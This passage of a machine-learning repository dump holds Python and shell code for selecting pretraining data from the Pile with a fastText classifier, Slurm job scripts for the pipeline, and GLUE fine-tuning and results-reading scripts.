mixed_path_train.parent / f"{mixed_path_train.stem}-qf.txt" mixed_path_val = mixed_path_val.parent / f"{mixed_path_val.stem}-qf.txt" mixed_path_train_cache = mixed_path_train_cache.parent / f"{mixed_path_train_cache.stem}-qf.txt" mixed_path_val_cache = mixed_path_val_cache.parent / f"{mixed_path_val_cache.stem}-qf.txt" ds1_path = ds_dir / f"{split}.txt" if (mixed_path_train.exists() and mixed_path_val.exists()) and not args.overwrite_preprocess: return mixed_path_train, mixed_path_val num_lines1 = linecount(ds1_path) num_lines2 = linecount(ds2_path) num_lines = min(num_lines1, num_lines2) num_train = int(num_lines * 0.9) counter = 0 with open(mixed_path_train_cache, 'w') as fout: with open(mixed_path_val_cache, 'w') as fout_val: with open(ds1_path, 'r') as f1: with open(ds2_path, 'r') as f2: for line1, line2 in tqdm(zip(f1, f2), miniters=100000): if counter < num_train: if counter > 0: fout.write('\n') fout.write(replace_label(line1.strip(), label=1) + '\n') fout.write(replace_label(line2.strip(), label=0)) else: if counter - num_train > 0: fout_val.write('\n') fout_val.write(replace_label(line1.strip(), label=1) + '\n') fout_val.write(replace_label(line2.strip(), label=0)) counter += 1 shutil.move(mixed_path_train_cache, mixed_path_train) shutil.move(mixed_path_val_cache, mixed_path_val) return mixed_path_train, mixed_path_val def prepare_fasttext_dataset(ds_dir): ds_dir = Path(ds_dir) split = 'train' ds1_path = ds_dir / f"{split}.txt" train_file = ds_dir / 'fasttext-train.txt' val_file = ds_dir / 'fasttext-val.txt' if (train_file.exists() and val_file.exists()) and not args.overwrite_preprocess: return train_file, val_file train_cache = cache_ds_dir / 'fasttext-train.txt' val_cache = cache_ds_dir / 'fasttext-val.txt' num_lines = linecount(ds1_path) num_train = int(num_lines * 0.9) counter = 0 with open(train_cache, 'w') as fout: with open(val_cache, 'w') as fout_val: with open(ds1_path, 'r') as f: for line in tqdm(f, miniters=1000000): if counter < num_train: if counter > 0: fout.write('\n') fout.write(line.strip()) else: if counter - num_train > 0: fout_val.write('\n') fout_val.write(line.strip()) counter += 1 shutil.move(train_cache, train_file) shutil.move(val_cache, val_file) return train_file, val_file def make_prediction(line, model): example = json.loads(line) transformed_example = transform_text(example['contents']) prediction = model.predict(transformed_example) label = int(prediction[0][0].split('__label__')[1]) prob = np.amax(prediction[1]) if label == 0: prob = 1 - prob return prob model = None def process(line): return make_prediction(line, model) def make_prediction_chunk(ds_path, model_path, chunk_idx): global model model = fasttext.load_model(str(model_path)) probs = [] num_cpus = len(os.sched_getaffinity(0)) pool = Pool(num_cpus) with open(ds_path, 'r') as f: for prob in pool.imap(process, f, chunksize=100000): probs.append(prob) if len(probs) % 100000 == 0: print(len(probs), flush=True) return np.asarray(probs) def predict_chunk(model_path, ds_dir, chunk_idx): retrieved_dir = ds_dir / 'heuristic_cls_retrieved' retrieved_path_cache = cache_ds_dir / 'heuristic_cls_retrieved.jsonl' if args.word_vectors is not None: retrieved_dir = retrieved_dir.parent / f"{retrieved_dir.stem}_wordvecs" retrieved_path_cache = retrieved_path_cache.parent / f"{retrieved_path_cache.stem}_wordvecs.jsonl" if args.ngrams != 2: retrieved_dir = retrieved_dir.parent / f"{retrieved_dir.stem}_ngrams{args.ngrams}" retrieved_path_cache = retrieved_path_cache.parent / f"{retrieved_path_cache.stem}_ngrams{args.ngrams}.jsonl" if args.qualityfilter: retrieved_dir = retrieved_dir.parent / f"{retrieved_dir.stem}_qf" retrieved_path_cache = retrieved_path_cache.parent / f"{retrieved_path_cache.stem}_qf.jsonl" retrieved_dir.mkdir(parents=True, exist_ok=True) # run through dataset once to make the predictions ds_path = dsname_to_args['pile']['task_name'] chunk_dir = retrieved_dir / 'chunks_bysubset' chunk_dir.mkdir(exist_ok=True) if args.word_vectors is not None: probabilities_file = chunk_dir / f'pred_probs_wordvecs_{chunk_idx}.npy' else: probabilities_file = chunk_dir / f'pred_probs_{chunk_idx}.npy' if not probabilities_file.exists() or args.overwrite: probabilities = make_prediction_chunk(ds_path, model_path, chunk_idx) np.save(probabilities_file, probabilities) def compute_domain_idxs(filter_domains): ds_path = dsname_to_args['pile']['task_name'] domain_to_idxs = defaultdict(list) todo_domains = [] for domain in filter_domains: domain_idxs_path = Path(ds_path).parent / f"{domain.replace(' ', '_')}_idxs.npy" if not domain_idxs_path.exists(): todo_domains.append(domain) combined_streaming_ds = load_dataset( 'json', data_files=ds_path, streaming=True)['train'] todo_domains = set(todo_domains) if len(todo_domains) > 0: for i, ex in tqdm(enumerate(combined_streaming_ds), miniters=1000000): domain = ex["metadata"]["pile_set_name"] if domain in todo_domains: domain_to_idxs[domain].append(i) for domain, idxs in domain_to_idxs.items(): np.save(Path(ds_path).parent / f"{domain.replace(' ', '_')}_idxs.npy", np.asarray(idxs)) for domain in filter_domains: domain_idxs_path = Path(ds_path).parent / f"{domain.replace(' ', '_')}_idxs.npy" domain_idxs = np.load(domain_idxs_path) domain_to_idxs[domain] = domain_idxs return domain_to_idxs def retrieve_from_pile(model_path, num_to_retrieve, ds_dir): retrieved_dir = ds_dir / 'heuristic_cls_retrieved' retrieved_path_cache = cache_ds_dir / 'heuristic_cls_retrieved_{num_to_retrieve}.jsonl' if args.word_vectors is not None: retrieved_dir = retrieved_dir.parent / f"{retrieved_dir.stem}_wordvecs" retrieved_path_cache = retrieved_path_cache.parent / f"{retrieved_path_cache.stem}_wordvecs.jsonl" if args.ngrams != 2: retrieved_dir = retrieved_dir.parent / f"{retrieved_dir.stem}_ngrams{args.ngrams}" retrieved_path_cache = retrieved_path_cache.parent / f"{retrieved_path_cache.stem}_ngrams{args.ngrams}.jsonl" if args.qualityfilter: retrieved_dir = retrieved_dir.parent / f"{retrieved_dir.stem}_qf" retrieved_path_cache = retrieved_path_cache.parent / f"{retrieved_path_cache.stem}_qf.jsonl" retrieved_dir.mkdir(parents=True, exist_ok=True) retrieved_path = retrieved_dir / f'heuristic_cls_retrieved_{num_to_retrieve}.jsonl' retrieved_path = retrieved_path.parent / f"{retrieved_path.stem}_retrievemode{args.retrieval_mode}.jsonl" retrieved_path_cache = retrieved_path_cache.parent / f"{retrieved_path_cache.stem}_retrievemode{args.retrieval_mode}.jsonl" if args.pack_every_2_examples: retrieved_path = retrieved_path.parent / f"{retrieved_path.stem}_pack.jsonl" retrieved_path_cache = retrieved_path_cache.parent / f"{retrieved_path_cache.stem}_pack.jsonl" else: retrieved_path = retrieved_path.parent / f"{retrieved_path.stem}_nopack.jsonl" retrieved_path_cache = retrieved_path_cache.parent / f"{retrieved_path_cache.stem}_nopack.jsonl" ds_path = dsname_to_args['pile']['task_name'] total_lines = dsname_to_args['pile']['total_lines'] if args.word_vectors is not None: probabilities_file = retrieved_dir / 'pred_probs_wordvecs.npy' else: probabilities_file = retrieved_dir / 'pred_probs.npy' if not probabilities_file.exists() or args.overwrite: chunk_dir = retrieved_dir / 'chunks_bysubset' probabilities_ls = [] for i in subsets: if args.word_vectors is not None: probabilities_file_chunk = chunk_dir / f'pred_probs_wordvecs_{i}.npy' else: probabilities_file_chunk = chunk_dir / f'pred_probs_{i}.npy' probabilities_ls.append(np.load(probabilities_file_chunk)) probabilities = np.concatenate(probabilities_ls) np.save(probabilities_file, probabilities) else: probabilities = np.load(probabilities_file) assert(len(probabilities) == total_lines) if args.qualityfilter: quality_scores = np.load(dsname_to_args['pile']['quality_scores']) global_mask = get_quality_mask(quality_scores) else: global_mask = np.ones(total_lines).astype(bool) if args.ds_name == 'wiki_and_books': # compute the wikipedia and book masks and filter out filter_domains = ['Wikipedia (en)', 'BookCorpus2', 'Books3', 'Gutenberg (PG-19)'] domain_to_idxs = compute_domain_idxs(filter_domains) for domain, idxs in domain_to_idxs.items(): mask = np.ones(total_lines).astype(bool) mask[idxs] = False global_mask = global_mask & mask num_to_retrieve = min(num_to_retrieve, len(probabilities)) def retrieve_mask(num, probabilities, mask=None): if mask is not None: mask = mask & global_mask else: mask = global_mask.copy() nonzero_idxs = np.where(mask)[0] if num <= mask.sum(): if args.retrieval_mode == 'topk': chosen_idxs = np.argpartition(-probabilities[mask], num)[:num] elif args.retrieval_mode == 'pareto': pareto_rand_mask = np.zeros(len(nonzero_idxs)).astype(bool) masked_probs = probabilities[mask] while pareto_rand_mask.sum() < num: rand = np.random.pareto(9, size=len(masked_probs)) pareto_rand_mask = pareto_rand_mask | (rand > (1 - masked_probs)) print("Pareto rand mask sum: ", pareto_rand_mask.sum()) chosen_idxs = np.where(pareto_rand_mask)[0] np.random.shuffle(chosen_idxs) chosen_idxs = chosen_idxs[:num] else: raise ValueError("not implemented") chosen_idxs = nonzero_idxs[chosen_idxs] if args.ds_name == 'wiki_and_books': # add in some wikipedia and bookcorpus all_domain_idxs = [] for domain, idxs in domain_to_idxs.items(): # add 2 million from each domain if domain == 'Wikipedia (en)': num_to_add = args.num_wiki_and_books // 2 else: num_to_add = args.num_wiki_and_books // 6 np.random.shuffle(idxs) domain_chosen_idxs = idxs[:num_to_add] all_domain_idxs.append(domain_chosen_idxs) chosen_idxs = np.concatenate([chosen_idxs] + all_domain_idxs) new_mask = np.zeros(len(mask)).astype(bool) new_mask[chosen_idxs] = True mask = new_mask else: pass return mask mask = retrieve_mask(num_to_retrieve, probabilities) prev_line = None with open(retrieved_path_cache, 'w') as fout: with open(ds_path, 'r') as f: for i, line in tqdm(enumerate(f), total=total_lines, miniters=1000000): if mask[i]: if args.pack_every_2_examples and prev_line is not None: prev_ex = json.loads(prev_line) curr_ex = json.loads(line) prev_ex['contents'] += curr_ex['contents'] prev_ex['metadata']['pile_set_name'] = [ prev_ex['metadata']['pile_set_name'], curr_ex['metadata']['pile_set_name']] fout.write(json.dumps(prev_ex).strip() + '\n') prev_line = None elif args.pack_every_2_examples and prev_line is None: prev_line = line else: example = json.loads(line) example['score'] = probabilities[i] fout.write(json.dumps(example).strip() + '\n') shutil.move(retrieved_path_cache, retrieved_path) if __name__ == "__main__": parser = argparse.ArgumentParser(description='reformat datasets into fasttext and train classifier') parser.add_argument('--ds_name', type=str, help='dataset name') parser.add_argument('--output_dir', type=str, help='output path') parser.add_argument('--pile_path', type=str, help='path to pile') parser.add_argument('--num_to_retrieve', type=int, default=8192000, help='amount of data to retrieve') parser.add_argument('--cache_dir', type=str, help='cache directory for datasets') parser.add_argument('--word_vectors', default=None, type=str, help='path to word vectors. if None, word vectors are randomly initialized') parser.add_argument('--num_proc', type=int, default=2, help='number of threads') parser.add_argument('--overwrite', action='store_true', help='overwrite fasttext model and outputs') parser.add_argument('--overwrite_preprocess', action='store_true', help='overwrite data preprocessing') parser.add_argument('--ngrams', type=int, default=2, help='number of ngrams') parser.add_argument('--pipeline_step', type=str, help='which step of pipeline') parser.add_argument('--chunk_idx', type=str, default='01', help='which chunk of prediction') parser.add_argument('--retrieval_mode', default='pareto', type=str, help='type of retrieval') parser.add_argument('--qualityfilter', action='store_true', help='whether to implement quality filtering') parser.add_argument('--retrain_model', action='store_true', help='whether to retrain the model') parser.add_argument('--pack_every_2_examples', action='store_true', help='whether to pack') parser.add_argument('--num_wiki_and_books', type=int, default=4000000, help='number of random eaxmples from wikipedia and books') args = parser.parse_args() random.seed(121) chunked_dir = 'chunked' dsname_to_args['pile_val'].update( {'task_name': [f'{args.pile_path}/{chunked_dir}/VAL_128/val_128.json'], 'quality_scores': f'{args.pile_path}/{chunked_dir}/VAL_128/val_128.json_qualityscores.npz'} ) dsname_to_args['pile'].update( {'task_name': [f'{args.pile_path}/{chunked_dir}/{subset}_128/{subset}_128.json' for subset in subsets], 'quality_scores': f'{args.pile_path}/{chunked_dir}/combined_all.json_qualityscores.npz'} ) if args.ds_name == 'wiki_and_books': filter_domains = ['Wikipedia (en)', 'BookCorpus2'] ds_dir = reformat_dataset('pile', args.output_dir, args.cache_dir, num_proc=args.num_proc, fixed_label="1", filter_domains=filter_domains) else: ds_dir = reformat_dataset(args.ds_name, args.output_dir, args.cache_dir, num_proc=args.num_proc) cache_ds_dir = Path(args.cache_dir) / 'retrieval_cache' / args.ds_name cache_ds_dir.mkdir(exist_ok=True, parents=True) pile_val_dir = reformat_dataset('pile', args.output_dir, args.cache_dir, num_proc=args.num_proc, fixed_label="0") train_file, val_file = mix_dataset(ds_dir, pile_val_dir) if args.word_vectors is not None: model_path = ds_dir / 'model_wordvecs.bin' else: model_path = ds_dir / 'model.bin' if args.ngrams != 2: model_path = model_path.parent / f'{model_path.stem}_{args.ngrams}.bin' if args.qualityfilter: model_path = model_path.parent / f"{model_path.stem}_qf.bin" if args.pipeline_step == 'model': if not model_path.exists() or args.overwrite_preprocess or args.retrain_model: fasttext_opts = { 'input': str(train_file), 'wordNgrams': args.ngrams, 'dim': 300, 'thread': args.num_proc, 'autotuneDuration': 1800, 'autotuneValidationFile': str(val_file)} fasttext_opts['pretrainedVectors'] = args.word_vectors print(fasttext_opts) model = fasttext.train_supervised(**fasttext_opts) model.save_model(str(model_path)) n_samples, precision, recall = model.test(str(val_file)) print("Precision:", precision) print("Recall:", recall) print("F1:", 2 * (precision * recall) / (precision + recall)) del model elif args.pipeline_step.startswith('predict'): predict_chunk(model_path, ds_dir, args.chunk_idx) elif args.pipeline_step == 'retrieve': retrieve_from_pile(model_path, args.num_to_retrieve, ds_dir) else: raise ValueError('not implemented') ================================================ FILE: experimental/data_selection/run_cmds.sh ================================================ #!/bin/bash num_buckets=10000 ngrams=2 #### target = books and wiki. #### for the wiki_and_books target, we add 4M additional examples from the wiki and books related subsets of the Pile. #### pack_every_2_examples reduces the number of examples by a factor of 2 TARGET='wiki_and_books' run_name=${TARGET}_all_ngrammatching_ngrams${ngrams}_buckets${num_buckets}_qf bash run_dsir.sh ${TARGET} ${run_name} " --qualityfilter --ngrams ${ngrams} --num_buckets ${num_buckets} --pack_every_2_examples" 98400000 ================================================ FILE: experimental/data_selection/run_dsir.sh ================================================ #!/bin/bash source config.sh task=$1 run_name=$2 other_args=$3 num_to_retrieve=${4:-25000000} LOGDIR=logs/data_selection/dsir/${run_name} mkdir -p ${LOGDIR} NUM_CHUNKS=29 CHUNK_IDX=01 predict_jid=$(sbatch \ --parsable \ --mem 5G \ ${cluster_info} \ -c 2 \ --output ${LOGDIR}/prepare_${CHUNK_IDX} \ data_selection/run_dsir_helper.sh ${task} "--pipeline_step prepare --chunk_idx ${CHUNK_IDX} --num_chunks ${NUM_CHUNKS} ${other_args} --num_proc 16") dependency="--dependency afterok" for CHUNK_IDX in 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29; do predict_jid=$(sbatch \ --parsable \ --mem 5G \ ${cluster_info} \ -c 2 \ --output ${LOGDIR}/predict_${CHUNK_IDX} \ data_selection/run_dsir_helper.sh ${task} "--pipeline_step importance_weights --chunk_idx ${CHUNK_IDX} --num_chunks ${NUM_CHUNKS} ${other_args} --num_proc 16") echo -n "${predict_jid} " dependency="${dependency}:${predict_jid}" done jid=$(sbatch \ --parsable \ ${cluster_info} \ --mem 48G \ ${dependency} \ -c 4 \ --output ${LOGDIR}/retrieve_${num_to_retrieve} \ run_dsir_helper.sh ${task} "--pipeline_step resample ${other_args} --num_proc 8 --num_to_retrieve ${num_to_retrieve}") echo -n "${jid} " ================================================ FILE: experimental/data_selection/run_dsir_helper.sh ================================================ #!/bin/bash set -x source config.sh source ${VIRTUAL_ENV}/bin/activate mkdir -p $CACHE export HF_HOME=$CACHE export TRANSFORMERS_CACHE=$CACHE export HF_DATASETS_CACHE=$CACHE export HF_DATASETS_IN_MEMORY_MAX_SIZE=0 export TORCH_EXTENSIONS_DIR=$CACHE task=$1 args=$2 output_dir=${DSIR_OUTPUT_DIR} mkdir -p ${output_dir} # important! set this environment variable to make sure the hash # function is consistent across different machines. export PYTHONHASHSEED=42 python dsir_pipeline.py \ --pile_path ${PILE_PATH} \ --ds_name ${task} \ --output_dir ${output_dir} \ --cache_dir ${CACHE} \ ${args} ================================================ FILE: experimental/data_selection/run_heuristic_cls.sh ================================================ #!/bin/bash set -x source config.sh source ${VIRTUAL_ENV}/bin/activate task=$1 run_name=$2 other_args=$3 num_to_retrieve=${4:-25000000} LOGDIR=logs/preprocessing/heuristic_cls/${run_name} mkdir -p ${LOGDIR} NUM_CHUNKS=29 jid=$(sbatch \ --parsable \ --mem 32G \ ${cluster_info} \ -c 4 \ --output ${LOGDIR}/train_fasttext_model \ preprocessing/run_heuristic_cls_helper.sh ${task} "--pipeline_step model ${other_args} --num_proc 4") echo -n "${jid} " dependency="--dependency afterok" for CHUNK_IDX in 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29; do predict_jid=$(sbatch \ --parsable \ ${cluster_info} \ --dependency ${jid} \ --mem 20G \ -c 1 \ --output ${LOGDIR}/predict_${CHUNK_IDX} \ preprocessing/run_heuristic_cls_helper.sh ${task} "--pipeline_step predict --chunk_idx ${CHUNK_IDX} --num_chunks ${NUM_CHUNKS} ${other_args} --num_proc 1") echo -n "${predict_jid} " dependency="${dependency}:${predict_jid}" done jid=$(sbatch \ --parsable \ --mem 100G \ ${cluster_info} \ ${dependency} \ -c 4 \ --output ${LOGDIR}/retrieve_${num_to_retrieve} \ preprocessing/run_heuristic_cls_helper.sh ${task} "--pipeline_step retrieve ${other_args} --num_chunks ${NUM_CHUNKS} --num_proc 4 --num_to_retrieve ${num_to_retrieve}") echo -n "${jid} " ================================================ FILE: experimental/data_selection/run_heuristic_cls_helper.sh ================================================ #!/bin/bash set -x source config.sh mkdir -p $CACHE export HF_HOME=$CACHE export TRANSFORMERS_CACHE=$CACHE export HF_DATASETS_CACHE=$CACHE export HF_DATASETS_IN_MEMORY_MAX_SIZE=100000000000 export TORCH_EXTENSIONS_DIR=$CACHE task=$1 args=$2 mkdir -p ${OUTPUT_DIR} python heuristic_cls_pipeline.py \ --pile_path ${PILE_PATH} --ds_name ${task} \ --output_dir ${OUTPUT_DIR} \ --cache_dir ${CACHE} \ --word_vectors ${WORD_VECTORS_PATH} \ ${args} ================================================ FILE: experimental/glue_eval/read_glue_results.py ================================================ import pandas as pd from pathlib import Path from collections import defaultdict import json import subprocess task_to_col = {'QNLI': 'eval_accuracy', 'STSB': 'eval_spearmanr', 'MRPC': 'eval_accuracy', 'COLA': 'eval_matthews_correlation', 'RTE': 'eval_accuracy', 'MNLI': 'eval_accuracy', 'SST2': 'eval_accuracy', 'QQP': 'eval_accuracy'} def read_file(path, task_name): with open(path, 'r') as f: curr_res = json.load(f) eval_res = curr_res[task_to_col[task_name]] del curr_res[task_to_col[task_name]] curr_res['dev'] = eval_res return curr_res def parse_file_name(name): toks = name.split('_') task_name = toks[0] for tok in toks[1:]: if tok.startswith('EPOCHS'): epochs = int(tok[6:]) elif tok.startswith('BS'): bs = int(tok[2:]) elif tok.startswith('LR'): lr = float(tok[2:]) elif tok.startswith('seed'): seed = int(tok[4:]) return { 'task_name': task_name, 'epochs': epochs, 'bs': bs, 'lr': lr, 'seed': seed, } if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description='Read GLUE results') parser.add_argument('--results_dir', type=str, help="directory of GLUE results") args = parser.parse_args() res = [] results_dir = Path(args.results_dir).resolve().expanduser() for trial_dir in results_dir.iterdir(): if not trial_dir.is_dir(): continue curr_res = parse_file_name(trial_dir.name) try: curr_res.update(read_file(trial_dir / f'eval_results.json', curr_res['task_name'])) res.append(curr_res) except Exception: print(f"skipped: {curr_res}") df = pd.DataFrame(res) df['dev'] *= 100 df = df.round({'dev': 2}) grouped_df = df.groupby(['task_name', 'epochs', 'bs', 'lr']).agg({'dev': ['mean', 'std', 'median']}) grouped_df.columns = ['mean', 'std', 'median'] grouped_df = grouped_df.reset_index() # we only run one set of hyperparams per task in the paper, so this max-median selection is a no-op max_median_idx = grouped_df.groupby(['task_name', 'epochs', 'bs', 'lr'])['median'].transform(max) == grouped_df['median'] df = grouped_df[max_median_idx] df = df.reset_index() df = df.round(2) df.to_csv(str(results_dir / 'glue_results_eval.tsv'), sep='\t', index=False) subprocess.run(f"head -n 50 {str(results_dir / 'glue_results_eval.tsv')}".split()) ================================================ FILE: experimental/glue_eval/run_eval_exps.sh ================================================ #!/bin/bash # example bash glue_eval/run_glue_dist.sh \ /path/to/trained/checkpoint \ "bert-base-uncased" \ 128 ================================================ FILE: experimental/glue_eval/run_glue.py ================================================ #!/usr/bin/env python # coding=utf-8 # Copyright 2020 The HuggingFace Inc. team. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Finetuning the library models for sequence classification on GLUE.""" # You can also adapt this script on your own text classification task. Pointers for this are left as comments. import logging import os import random import sys from dataclasses import dataclass, field from typing import Optional import json from argparse import Namespace import uuid from pathlib import Path import datasets import numpy as np from datasets import load_dataset, load_metric import transformers from transformers import ( AutoConfig, AutoModelForSequenceClassification, AutoTokenizer, DataCollatorWithPadding, EvalPrediction, HfArgumentParser, PretrainedConfig, Trainer, TrainingArguments, default_data_collator, set_seed, ) from transformers.trainer_utils import get_last_checkpoint from transformers.utils import check_min_version from transformers.utils.versions import require_version # Will error if the minimal version of Transformers is not installed. Remove at your own risks. check_min_version("4.12.0") require_version("datasets>=1.8.0", "To fix: pip install -r examples/pytorch/text-classification/requirements.txt") task_to_keys = { "cola": ("sentence", None), "mnli": ("premise", "hypothesis"), "mrpc": ("sentence1", "sentence2"), "qnli": ("question", "sentence"), "qqp": ("question1", "question2"), "rte": ("sentence1", "sentence2"), "sst2": ("sentence", None), "stsb": ("sentence1", "sentence2"), "wnli": ("sentence1", "sentence2"), } logger = logging.getLogger(__name__) @dataclass class DataTrainingArguments: """ Arguments pertaining to what data we are going to input our model for training and eval. Using `HfArgumentParser` we can turn this class into argparse arguments to be able to specify them on the command line. """ task_name: Optional[str] = field( default=None, metadata={"help": "The name of the task to train on: " + ", ".join(task_to_keys.keys())}, ) dataset_name: Optional[str] = field( default=None, metadata={"help": "The name of the dataset to use (via the datasets library)."} ) dataset_config_name: Optional[str] = field( default=None, metadata={"help": "The configuration name of the dataset to use (via the datasets library)."} ) max_seq_length: int = field( default=128, metadata={ "help": "The maximum total input sequence length after tokenization. Sequences longer " "than this will be truncated, sequences shorter will be padded." }, ) overwrite_cache: bool = field( default=False, metadata={"help": "Overwrite the cached preprocessed datasets or not."} ) pad_to_max_length: bool = field( default=True, metadata={ "help": "Whether to pad all samples to `max_seq_length`. " "If False, will pad the samples dynamically when batching to the maximum length in the batch." }, ) max_train_samples: Optional[int] = field( default=None, metadata={ "help": "For debugging purposes or quicker training, truncate the number of training examples to this " "value if set." }, ) max_eval_samples: Optional[int] = field( default=None, metadata={ "help": "For debugging purposes or quicker training, truncate the number of evaluation examples to this " "value if set." }, ) max_predict_samples: Optional[int] = field( default=None, metadata={ "help": "For debugging purposes or quicker training, truncate the number of prediction examples to this " "value if set." }, ) train_file: Optional[str] = field( default=None, metadata={"help": "A csv or a json file containing the training data."} ) validation_file: Optional[str] = field( default=None, metadata={"help": "A csv or a json file containing the validation data."} ) test_file: Optional[str] = field(default=None, metadata={"help": "A csv or a json file containing the test data."}) def __post_init__(self): if self.task_name is not None: self.task_name = self.task_name.lower() if self.task_name not in task_to_keys.keys(): raise ValueError("Unknown task, you should pick one in " + ",".join(task_to_keys.keys())) elif self.dataset_name is not None: pass elif self.train_file is None or self.validation_file is None: raise ValueError("Need either a GLUE task, a training/validation file or a dataset name.") else: train_extension = self.train_file.split(".")[-1] assert train_extension in ["csv", "json"], "`train_file` should be a csv or a json file." validation_extension = self.validation_file.split(".")[-1] assert ( validation_extension == train_extension ), "`validation_file` should have the same extension (csv or json) as `train_file`." @dataclass class ModelArguments: """ Arguments pertaining to which model/config/tokenizer we are going to fine-tune from. """ model_name_or_path: str = field( metadata={"help": "Path to pretrained model or model identifier from huggingface.co/models"} ) config_name: Optional[str] = field( default=None, metadata={"help": "Pretrained config name or path if not the same as model_name"} ) tokenizer_name: Optional[str] = field( default=None, metadata={"help": "Pretrained tokenizer name or path if not the same as model_name"} ) cache_dir: Optional[str] = field( default=None, metadata={"help": "Where do you want to store the pretrained models downloaded from huggingface.co"}, ) use_fast_tokenizer: bool = field( default=True, metadata={"help": "Whether to use one of the fast tokenizer (backed by the tokenizers library) or not."}, ) model_revision: str = field( default="main", metadata={"help": "The specific model version to use (can be a branch name, tag name or commit id)."}, ) use_auth_token: bool = field( default=False, metadata={ "help": "Will use the token generated when running `transformers-cli login` (necessary to use this script " "with private models)." }, ) def main(): # See all possible arguments in src/transformers/training_args.py # or by passing the --help flag to this script. # We now keep distinct sets of args, for a cleaner separation of concerns. parser = HfArgumentParser((ModelArguments, DataTrainingArguments, TrainingArguments)) if len(sys.argv) == 2 and sys.argv[1].endswith(".json"): # If we pass only one argument to the script and it's the path to a json file, # let's parse it to get our arguments. model_args, data_args, training_args = parser.parse_json_file(json_file=os.path.abspath(sys.argv[1])) else: model_args, data_args, training_args = parser.parse_args_into_dataclasses() # Setup logging logging.basicConfig( format="%(asctime)s - %(levelname)s - %(name)s - %(message)s", datefmt="%m/%d/%Y %H:%M:%S", handlers=[logging.StreamHandler(sys.stdout)], ) log_level = training_args.get_process_log_level() logger.setLevel(log_level) datasets.utils.logging.set_verbosity(log_level) transformers.utils.logging.set_verbosity(log_level) transformers.utils.logging.enable_default_handler() transformers.utils.logging.enable_explicit_format() # Log on each process the small summary: logger.warning( f"Process rank: {training_args.local_rank}, device: {training_args.device}, n_gpu: {training_args.n_gpu}" + f"distributed training: {bool(training_args.local_rank != -1)}, 16-bits training: {training_args.fp16}" ) logger.info(f"Training/evaluation parameters {training_args}") # Detecting last checkpoint. last_checkpoint = None if os.path.isdir(training_args.output_dir) and training_args.do_train and not training_args.overwrite_output_dir: last_checkpoint = get_last_checkpoint(training_args.output_dir) if last_checkpoint is None and len(os.listdir(training_args.output_dir)) > 0: raise ValueError( f"Output directory ({training_args.output_dir}) already exists and is not empty. " "Use --overwrite_output_dir to overcome." ) elif last_checkpoint is not None and training_args.resume_from_checkpoint is None: logger.info( f"Checkpoint detected, resuming training at {last_checkpoint}. To avoid this behavior, change " "the `--output_dir` or add `--overwrite_output_dir` to train from scratch." ) # Set seed before initializing model. set_seed(training_args.seed) # Get the datasets: you can either provide your own CSV/JSON training and evaluation files (see below) # or specify a GLUE benchmark task (the dataset will be downloaded automatically from the datasets Hub). # # For CSV/JSON files, this script will use as labels the column called 'label' and as pair of sentences the # sentences in columns called 'sentence1' and 'sentence2' if such column exists or the first two columns not named # label if at least two columns are provided. # # If the CSVs/JSONs contain only one non-label column, the script does single sentence classification on this # single column. You can easily tweak this behavior (see below) # # In distributed training, the load_dataset function guarantee that only one local process can concurrently # download the dataset. if data_args.task_name is not None: # a known task # Downloading and loading a dataset from the hub. raw_datasets = load_dataset("glue", data_args.task_name, cache_dir=model_args.cache_dir) elif data_args.dataset_name is not None: # Downloading and loading a dataset from the hub. raw_datasets = load_dataset( data_args.dataset_name, data_args.dataset_config_name, cache_dir=model_args.cache_dir ) else: # Loading a dataset from your local files. # CSV/JSON training and evaluation files are needed. data_files = {"train": data_args.train_file, "validation": data_args.validation_file} # Get the test dataset: you can provide your own CSV/JSON test file (see below) # when you use `do_predict` without specifying a GLUE benchmark task. if training_args.do_predict: if data_args.test_file is not None: train_extension = data_args.train_file.split(".")[-1] test_extension = data_args.test_file.split(".")[-1] assert ( test_extension == train_extension ), "`test_file` should have the same extension (csv or json) as `train_file`." data_files["test"] = data_args.test_file else: raise ValueError("Need either a GLUE task or a test file for `do_predict`.") for key in data_files.keys(): logger.info(f"load a local file for {key}: {data_files[key]}") if data_args.train_file.endswith(".csv"): # Loading a dataset from local csv files raw_datasets = load_dataset("csv", data_files=data_files, cache_dir=model_args.cache_dir) else: # Loading a dataset from local json files raw_datasets = load_dataset("json", data_files=data_files, cache_dir=model_args.cache_dir) # See more about loading any type of standard or custom dataset at # https://huggingface.co/docs/datasets/loading_datasets.html. # Labels if data_args.task_name is not None: is_regression = data_args.task_name == "stsb" if not is_regression: label_list = raw_datasets["train"].features["label"].names num_labels = len(label_list) else: num_labels = 1 else: # Trying to have good defaults here, don't hesitate to tweak to your needs. is_regression = raw_datasets["train"].features["label"].dtype in ["float32", "float64"] if is_regression: num_labels = 1 else: # A useful fast method: # https://huggingface.co/docs/datasets/package_reference/main_classes.html#datasets.Dataset.unique label_list = raw_datasets["train"].unique("label") label_list.sort() # Let's sort it for determinism num_labels = len(label_list) config = AutoConfig.from_pretrained( model_args.config_name if model_args.config_name else model_args.model_name_or_path, num_labels=num_labels, finetuning_task=data_args.task_name, cache_dir=model_args.cache_dir, revision=model_args.model_revision, # use_auth_token=None, ) tokenizer = AutoTokenizer.from_pretrained( model_args.tokenizer_name if model_args.tokenizer_name else model_args.model_name_or_path, cache_dir=model_args.cache_dir, use_fast=model_args.use_fast_tokenizer, revision=model_args.model_revision, # use_auth_token=True if model_args.use_auth_token else None, ) model = AutoModelForSequenceClassification.from_pretrained( model_args.model_name_or_path, from_tf=bool(".ckpt" in model_args.model_name_or_path), config=config, cache_dir=model_args.cache_dir, revision=model_args.model_revision, # use_auth_token=True if model_args.use_auth_token else None, ignore_mismatched_sizes=True, ) # Preprocessing the raw_datasets if data_args.task_name is not None: sentence1_key, sentence2_key = task_to_keys[data_args.task_name] else: # Again, we try to have some nice defaults but don't hesitate to tweak to your use case. non_label_column_names = [name for name in raw_datasets["train"].column_names if name != "label"] if "sentence1" in non_label_column_names and "sentence2" in non_label_column_names: 